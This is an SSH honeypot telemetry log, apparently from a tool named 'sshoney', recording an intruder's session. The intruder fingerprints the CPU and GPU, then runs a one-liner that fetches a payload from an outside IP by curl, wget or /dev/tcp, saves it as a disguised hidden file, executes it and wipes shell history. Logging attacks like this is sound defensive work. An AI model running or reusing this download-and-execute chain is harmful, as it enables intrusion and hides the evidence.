sshoney · ssh honeypot telemetry

Client

Credentials attempted

Transcript

04:42:56 $ uname -s -v -n -r -m
         Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64
04:42:59 $ nproc 2>/dev/null || grep -c ^processor /proc/cpuinfo
04:43:01 $ uptime 2>/dev/null | awk -F'( up |,|load)' '{gsub(/^[ \t]+|[ \t]+$/,"",$2); print $2}' | head -n1
04:43:04 $ LC_ALL=C lscpu | awk -F: '/Model name/ {gsub(/^[ \t]+/, "", $2); print $2; exit}'
         AMD EPYC 7713 64-Core Processor x8  (412ms)
04:43:08 $ nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9}' || echo 'No'
         NVIDIA GeForce RTX
04:43:11 $ nvidia-smi -q | grep "Attached GPUs" | awk '{print $4}' && echo '' || echo 'No'
         No  (1376ms)
04:43:20 $ curl -sSL http://103.160.59.94:28816/CZRmrtxnrNONBXhwfFeqjNfBrliNaShG -o ~/.sysmonitor 2>/dev/null || wget -qO ~/.sysmonitor http://103.160.59.94:28816/CZRmrtxnrNONBXhwfFeqjNfBrliNaShG 2>/dev/null || { exec 3<>/dev/tcp/103.160.59.94/28816 && echo -e "GET /CZRmrtxnrNONBXhwfFeqjNfBrliNaShG HTTP/1.1\r\nHost: 103.160.59.94\r\nConnection: close\r\n\r\n" >&3 && cat <&3 | sed "1,/^\r$/d" > ~/.sysmonitor; }; chmod +x ~/.sysmonitor && ~/.sysmonitor && history -c && history -w